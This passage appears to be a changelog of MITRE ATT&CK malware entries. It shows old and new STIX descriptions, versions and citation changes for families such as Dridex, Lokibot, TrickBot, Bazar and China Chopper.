| > | 7)(Citation: Treasury EvilCorp Dec 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Daniyal Naeem, BT Security'] |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:20:01.787000+00:00 | 2021-10-01 20:30:30.043000+00:00 |
| description | [Dridex](https://attack.mitre.org/software/S0384) is a banking Trojan that has been used for financial gain. Dridex was created from the source code of the Bugat banking trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017) | [Dridex](https://attack.mitre.org/software/S0384) is a prolific banking Trojan that first appeared in 2014. By December 2019, the US Treasury estimated [Dridex](https://attack.mitre.org/software/S0384) had infected computers in hundreds of banks and financial institutions in over 40 countries, leading to more than $100 million in theft. [Dridex](https://attack.mitre.org/software/S0384) was created from the source code of the Bugat banking Trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Treasury EvilCorp Dec 2019) |
| external_references[1]['source_name'] | Bugat v5 | Dridex |
| external_references[1]['description'] | (Citation: Dell Dridex Oct 2015) | (Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Checkpoint Dridex Jan 2021) |
| external_references[2]['source_name'] | Dell Dridex Oct 2015 | Bugat v5 |
| external_references[2]['description'] | Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019. | (Citation: Dell Dridex Oct 2015) |
| external_references[3]['source_name'] | Kaspersky Dridex May 2017 | Dell Dridex Oct 2015 |
| external_references[3]['description'] | Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019. | Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019. |
| external_references[3]['url'] | https://securelist.com/dridex-a-history-of-evolution/78531/ | https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Kaspersky Dridex May 2017', 'description': 'Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.', 'url': 'https://securelist.com/dridex-a-history-of-evolution/78531/'} | |
| external_references | {'source_name': 'Treasury EvilCorp Dec 2019', 'description': 'U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021.', 'url': 'https://home.treasury.gov/news/press-releases/sm845'} | |
| external_references | {'source_name': 'Checkpoint Dridex Jan 2021', 'description': 'Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.', 'url': 'https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [GuLoader](https://attack.mitre.org/software/S0561) is a fil | t | 1 | [GuLoader](https://attack.mitre.org/software/S0561) is a fil |
| > | e downloader that has been used since at least December 2019 | > | e downloader that has been used since at least December 2019 | ||
| > | to distribute a variety of remote administration tool (RAT) | > | to distribute a variety of remote administration tool (RAT) | ||
| > | malware, including [NETWIRE](https://attack.mitre.org/softw | > | malware, including [NETWIRE](https://attack.mitre.org/softw | ||
| > | are/S0198).(Citation: Unit 42 NETWIRE April 2020) | > | are/S0198), [Agent Tesla](https://attack.mitre.org/software/ | ||
| > | S0331), [NanoCore](https://attack.mitre.org/software/S0336), | ||||
| > | FormBook, and Parallax RAT.(Citation: Unit 42 NETWIRE April | ||||
| > | 2020)(Citation: Medium Eli Salem GuLoader April 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Eli Salem, @elisalem9'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-20 21:06:08.972000+00:00 | 2021-10-15 19:14:33.244000+00:00 |
| description | [GuLoader](https://attack.mitre.org/software/S0561) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://attack.mitre.org/software/S0198).(Citation: Unit 42 NETWIRE April 2020) | [GuLoader](https://attack.mitre.org/software/S0561) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://attack.mitre.org/software/S0198), [Agent Tesla](https://attack.mitre.org/software/S0331), [NanoCore](https://attack.mitre.org/software/S0336), FormBook, and Parallax RAT.(Citation: Unit 42 NETWIRE April 2020)(Citation: Medium Eli Salem GuLoader April 2021) |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Medium Eli Salem GuLoader April 2021', 'description': 'Salem, E. (2021, April 19). Dancing With Shellcodes: Cracking the latest version of Guloader. Retrieved July 7, 2021.', 'url': 'https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Kerrdown](https://attack.mitre.org/software/S0585) is a dow | t | 1 | [Kerrdown](https://attack.mitre.org/software/S0585) is a cus |
| > | nloader used by [APT32](https://attack.mitre.org/groups/G005 | > | tom downloader that has been used by [APT32](https://attack. | ||
| > | 0) to install spyware from a server on the victim's network. | > | mitre.org/groups/G0050) since at least 2018 to install spywa | ||
| > | (Citation: Amnesty Intl. Ocean Lotus February 2021) | > | re from a server on the victim's network.(Citation: Amnesty | ||
| > | Intl. Ocean Lotus February 2021)(Citation: Unit 42 KerrDown | ||||
| > | February 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-02 13:57:47.488000+00:00 | 2021-10-15 21:53:54.011000+00:00 |
| description | [Kerrdown](https://attack.mitre.org/software/S0585) is a downloader used by [APT32](https://attack.mitre.org/groups/G0050) to install spyware from a server on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021) | [Kerrdown](https://attack.mitre.org/software/S0585) is a custom downloader that has been used by [APT32](https://attack.mitre.org/groups/G0050) since at least 2018 to install spyware from a server on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Unit 42 KerrDown February 2019) |
| external_references[1]['url'] | https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/ | https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Unit 42 KerrDown February 2019', 'description': 'Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus’ new Downloader, KerrDown. Retrieved October 1, 2021.', 'url': 'https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Lokibot](https://attack.mitre.org/software/S0447) is a malw | t | 1 | [Lokibot](https://attack.mitre.org/software/S0447) is a wide |
| > | are designed to collect credentials and security tokens from | > | ly distributed information stealer that was first reported i | ||
| > | an infected machine. [Lokibot](https://attack.mitre.org/sof | > | n 2015. It is designed to steal sensitive information such a | ||
| > | tware/S0447) has also been used to establish backdoors in en | > | s usernames, passwords, cryptocurrency wallets, and other cr | ||
| > | terprise environments.(Citation: Infoblox Lokibot January 20 | > | edentials. [Lokibot](https://attack.mitre.org/software/S0447 | ||
| > | 19)(Citation: Morphisec Lokibot April 2020) | > | ) can also create a backdoor into infected systems to allow | ||
| > | an attacker to install additional payloads.(Citation: Infobl | ||||
| > | ox Lokibot January 2019)(Citation: Morphisec Lokibot April 2 | ||||
| > | 020)(Citation: CISA Lokibot September 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Daniyal Naeem, BT Security'] |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-18 22:00:40.499000+00:00 | 2021-10-11 17:43:38.029000+00:00 |
| description | [Lokibot](https://attack.mitre.org/software/S0447) is a malware designed to collect credentials and security tokens from an infected machine. [Lokibot](https://attack.mitre.org/software/S0447) has also been used to establish backdoors in enterprise environments.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020) | [Lokibot](https://attack.mitre.org/software/S0447) is a widely distributed information stealer that was first reported in 2015. It is designed to steal sensitive information such as usernames, passwords, cryptocurrency wallets, and other credentials. [Lokibot](https://attack.mitre.org/software/S0447) can also create a backdoor into infected systems to allow an attacker to install additional payloads.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: CISA Lokibot September 2020) |
| external_references[1]['source_name'] | Infoblox Lokibot January 2019 | Lokibot |
| external_references[1]['description'] | Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020. | (Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: Talos Lokibot Jan 2021) |
| external_references[2]['source_name'] | Morphisec Lokibot April 2020 | Infoblox Lokibot January 2019 |
| external_references[2]['description'] | Cheruku, H. (2020, April 15). LOKIBOT WITH AUTOIT OBFUSCATOR + FRENCHY SHELLCODE. Retrieved May 14, 2020. | Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020. |
| external_references[2]['url'] | https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode | https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22 |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Morphisec Lokibot April 2020', 'description': 'Cheruku, H. (2020, April 15). LOKIBOT WITH AUTOIT OBFUSCATOR + FRENCHY SHELLCODE. Retrieved May 14, 2020.', 'url': 'https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode'} | |
| external_references | {'source_name': 'CISA Lokibot September 2020', 'description': 'DHS/CISA. (2020, September 22). Alert (AA20-266A) LokiBot Malware . Retrieved September 15, 2021.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa20-266a'} | |
| external_references | {'source_name': 'Talos Lokibot Jan 2021', 'description': 'Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021.', 'url': 'https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Metamorfo](https://attack.mitre.org/software/S0455) is a ba | t | 1 | [Metamorfo](https://attack.mitre.org/software/S0455) is a La |
| > | nking trojan operated by a Brazilian cybercrime group that h | > | tin-American banking trojan operated by a Brazilian cybercri | ||
| > | as been active since at least April 2018. The group focuses | > | me group that has been active since at least April 2018. The | ||
| > | on targeting mostly Brazilian users.(Citation: Medium Metamo | > | group focuses on targeting banks and cryptocurrency service | ||
| > | rfo Apr 2020) | > | s in Brazil and Mexico.(Citation: Medium Metamorfo Apr 2020) | ||
| > | (Citation: ESET Casbaneiro Oct 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 01:34:57.793000+00:00 | 2021-09-27 19:32:33.491000+00:00 |
| description | [Metamorfo](https://attack.mitre.org/software/S0455) is a banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting mostly Brazilian users.(Citation: Medium Metamorfo Apr 2020) | [Metamorfo](https://attack.mitre.org/software/S0455) is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) |
| external_references[1]['description'] | (Citation: Medium Metamorfo Apr 2020) | (Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) |
| external_references[2]['source_name'] | Medium Metamorfo Apr 2020 | Casbaneiro |
| external_references[2]['description'] | Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020. | (Citation: ESET Casbaneiro Oct 2019) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Medium Metamorfo Apr 2020', 'description': 'Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.', 'url': 'https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767'} | |
| external_references | {'source_name': 'ESET Casbaneiro Oct 2019', 'description': 'ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021.', 'url': 'https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/'} | |
| x_mitre_aliases | Casbaneiro | |
| x_mitre_contributors | Jose Luis Sánchez Martinez |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Octopus](https://attack.mitre.org/software/S0340) is a Wind | t | 1 | [Octopus](https://attack.mitre.org/software/S0340) is a Wind |
| > | ows Trojan.(Citation: Securelist Octopus Oct 2018) | > | ows Trojan written in the Delphi programming language that h | ||
| > | as been used by [Nomadic Octopus](https://attack.mitre.org/g | ||||
| > | roups/G0133) to target government organizations in Central A | ||||
| > | sia since at least 2014.(Citation: Securelist Octopus Oct 20 | ||||
| > | 18)(Citation: Security Affairs DustSquad Oct 2018)(Citation: | ||||
| > | ESET Nomadic Octopus 2018) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 18:57:08.610000+00:00 | 2021-10-15 02:42:45.953000+00:00 |
| description | [Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan.(Citation: Securelist Octopus Oct 2018) | [Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan written in the Delphi programming language that has been used by [Nomadic Octopus](https://attack.mitre.org/groups/G0133) to target government organizations in Central Asia since at least 2014.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018) |
| external_references[1]['description'] | (Citation: Securelist Octopus Oct 2018) | (Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Security Affairs DustSquad Oct 2018', 'description': 'Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021.', 'url': 'https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html'} | |
| external_references | {'source_name': 'ESET Nomadic Octopus 2018', 'description': 'Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Taidoor](https://attack.mitre.org/software/S0011) is malwar | t | 1 | [Taidoor](https://attack.mitre.org/software/S0011) is a remo |
| > | e that has been used since at least 2010, primarily to targe | > | te access trojan (RAT) that has been used by Chinese governm | ||
| > | t Taiwanese government organizations. (Citation: TrendMicro | > | ent cyber actors to maintain access on victim networks.(Cita | ||
| > | Taidoor) | > | tion: CISA MAR-10292089-1.v2 TAIDOOR August 2021) [Taidoor]( | ||
| > | https://attack.mitre.org/software/S0011) has primarily been | ||||
| > | used against Taiwanese government organizations since at lea | ||||
| > | st 2010.(Citation: TrendMicro Taidoor) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:21:09.468000+00:00 | 2021-10-15 12:34:22.853000+00:00 |
| description | [Taidoor](https://attack.mitre.org/software/S0011) is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor) | [Taidoor](https://attack.mitre.org/software/S0011) is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021) [Taidoor](https://attack.mitre.org/software/S0011) has primarily been used against Taiwanese government organizations since at least 2010.(Citation: TrendMicro Taidoor) |
| external_references[1]['source_name'] | TrendMicro Taidoor | CISA MAR-10292089-1.v2 TAIDOOR August 2021 |
| external_references[1]['description'] | Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014. | CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021. |
| external_references[1]['url'] | http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf | https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'TrendMicro Taidoor', 'description': 'Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.', 'url': 'http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf'} |
Current version: 2.0
Version changed from: 1.4 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [TrickBot](https://attack.mitre.org/software/S0266) is a Tro | t | 1 | [TrickBot](https://attack.mitre.org/software/S0266) is a Tro |
| > | jan spyware program that has mainly been used for targeting | > | jan spyware program written in C++ that first emerged in Sep | ||
| > | banking sites in United States, Canada, UK, Germany, Austral | > | tember 2016 as a possible successor to [Dyre](https://attack | ||
| > | ia, Austria, Ireland, London, Switzerland, and Scotland. Tri | > | .mitre.org/software/S0024). [TrickBot](https://attack.mitre. | ||
| > | ckBot first emerged in the wild in September 2016 and appear | > | org/software/S0266) was developed and initially used by [Wiz | ||
| > | s to be a successor to [Dyre](https://attack.mitre.org/softw | > | ard Spider](https://attack.mitre.org/groups/G0102) for targe | ||
| > | are/S0024). [TrickBot](https://attack.mitre.org/software/S02 | > | ting banking sites in North America, Australia, and througho | ||
| > | 66) is developed in the C++ programming language. (Citation: | > | ut Europe; it has since been used against all sectors worldw | ||
| > | S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oc | > | ide as part of "big game hunting" ransomware campaigns.(Cita | ||
| > | t 2016) (Citation: IBM TrickBot Nov 2016) | > | tion: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBo | ||
| > | t Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: Crowd | ||||
| > | Strike Wizard Spider October 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-10 13:35:22.920000+00:00 | 2021-10-01 14:19:20.660000+00:00 |
| description | [TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program that has mainly been used for targeting banking sites in United States, Canada, UK, Germany, Australia, Austria, Ireland, London, Switzerland, and Scotland. TrickBot first emerged in the wild in September 2016 and appears to be a successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) is developed in the C++ programming language. (Citation: S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oct 2016) (Citation: IBM TrickBot Nov 2016) | [TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) was developed and initially used by [Wizard Spider](https://attack.mitre.org/groups/G0102) for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of "big game hunting" ransomware campaigns.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: CrowdStrike Wizard Spider October 2020) |
| external_references[7]['source_name'] | Trend Micro Totbrick Oct 2016 | CrowdStrike Wizard Spider October 2020 |
| external_references[7]['description'] | Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018. | Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021. |
| external_references[7]['url'] | https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n | https://www.crowdstrike.com/blog/wizard-spider-adversary-update/ |
| external_references[8]['source_name'] | TrendMicro Trickbot Feb 2019 | Trend Micro Totbrick Oct 2016 |
| external_references[8]['description'] | Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019. | Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018. |
| external_references[8]['url'] | https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/ | https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n |
| external_references[9]['source_name'] | Microsoft Totbrick Oct 2017 | TrendMicro Trickbot Feb 2019 |
| external_references[9]['description'] | Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018. | Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019. |
| external_references[9]['url'] | https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick | https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/ |
| x_mitre_version | 1.4 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Totbrick Oct 2017', 'description': 'Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.', 'url': 'https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Aria-body](https://attack.mitre.org/software/S0456) is a cu | t | 1 | [Aria-body](https://attack.mitre.org/software/S0456) is a cu |
| > | stom backdoor that has been used by [Naikon](https://attack. | > | stom backdoor that has been used by [Naikon](https://attack. | ||
| > | mitre.org/groups/G0019).(Citation: CheckPoint Naikon May 202 | > | mitre.org/groups/G0019) since approximately 2017.(Citation: | ||
| > | 0) | > | CheckPoint Naikon May 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-03 21:52:44.685000+00:00 | 2021-08-19 17:58:43.342000+00:00 |
| description | [Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019).(Citation: CheckPoint Naikon May 2020) | [Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since approximately 2017.(Citation: CheckPoint Naikon May 2020) |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Bazar](https://attack.mitre.org/software/S0534) is a downlo | t | 1 | [Bazar](https://attack.mitre.org/software/S0534) is a downlo |
| > | ader and backdoor malware in use since at least April 2020, | > | ader and backdoor that has been used since at least April 20 | ||
| > | with infections mainly targeting professional services, heal | > | 20, with infections primarily against professional services, | ||
| > | thcare, manufacturing, IT, logistics and travel companies ac | > | healthcare, manufacturing, IT, logistics and travel compani | ||
| > | ross the US and Europe. [Bazar](https://attack.mitre.org/sof | > | es across the US and Europe. [Bazar](https://attack.mitre.or | ||
| > | tware/S0534) has been reported to have ties to [TrickBot](ht | > | g/software/S0534) reportedly has ties to [TrickBot](https:// | ||
| > | tps://attack.mitre.org/software/S0266) campaigns and can be | > | attack.mitre.org/software/S0266) campaigns and can be used t | ||
| > | used to deploy additional malware, including ransomware, and | > | o deploy additional malware, including ransomware, and to st | ||
| > | to steal sensitive data.(Citation: Cybereason Bazar July 20 | > | eal sensitive data.(Citation: Cybereason Bazar July 2020) | ||
| > | 20) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-16 21:43:13.433000+00:00 | 2021-08-18 19:43:00.355000+00:00 |
| description | [Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor malware in use since at least April 2020, with infections mainly targeting professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) has been reported to have ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020) | [Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) reportedly has ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020) |
| external_references[1]['description'] | (Citation: FireEye KEGTAP SINGLEMALT October 2020) | (Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: CrowdStrike Wizard Spider October 2020) |
| external_references[5]['source_name'] | NCC Group Team9 June 2020 | CrowdStrike Wizard Spider October 2020 |
| external_references[5]['description'] | Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020. | Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021. |
| external_references[5]['url'] | https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/ | https://www.crowdstrike.com/blog/wizard-spider-adversary-update/ |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'NCC Group Team9 June 2020', 'description': 'Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.', 'url': 'https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Bisonal](https://attack.mitre.org/software/S0268) is malwar | t | 1 | [Bisonal](https://attack.mitre.org/software/S0268) is malwar |
| > | e that has been used in attacks against targets in Russia, S | > | e that has been used in attacks against targets in Russia, S | ||
| > | outh Korea, and Japan. It has been observed in the wild sinc | > | outh Korea, and Japan. It has been observed in the wild sinc | ||
| > | e 2014. (Citation: Unit 42 Bisonal July 2018) | > | e 2014.(Citation: Unit 42 Bisonal July 2018) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:38:49.119000+00:00 | 2021-10-17 16:05:26.618000+00:00 |
| description | [Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014. (Citation: Unit 42 Bisonal July 2018) | [Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014.(Citation: Unit 42 Bisonal July 2018) |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-11-24 20:08:25.559000+00:00 | 2021-10-14 23:23:19.517000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-06 15:18:53.409000+00:00 | 2021-10-16 20:26:31.452000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-10 21:37:48.548000+00:00 | 2021-08-25 20:08:29.545000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.3
Version changed from: 2.2 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [China Chopper](https://attack.mitre.org/software/S0020) is | t | 1 | [China Chopper](https://attack.mitre.org/software/S0020) is |
| > | a [Web Shell](https://attack.mitre.org/techniques/T1505/003) | > | a [Web Shell](https://attack.mitre.org/techniques/T1505/003) | ||
| > | hosted on Web servers to provide access back into an enterp | > | hosted on Web servers to provide access back into an enterp | ||
| > | rise network that does not rely on an infected system callin | > | rise network that does not rely on an infected system callin | ||
| > | g back to a remote command and control server. (Citation: Le | > | g back to a remote command and control server. (Citation: Le | ||
| > | e 2013) It has been used by several threat groups. (Citation | > | e 2013) It has been used by several threat groups. (Citation | ||
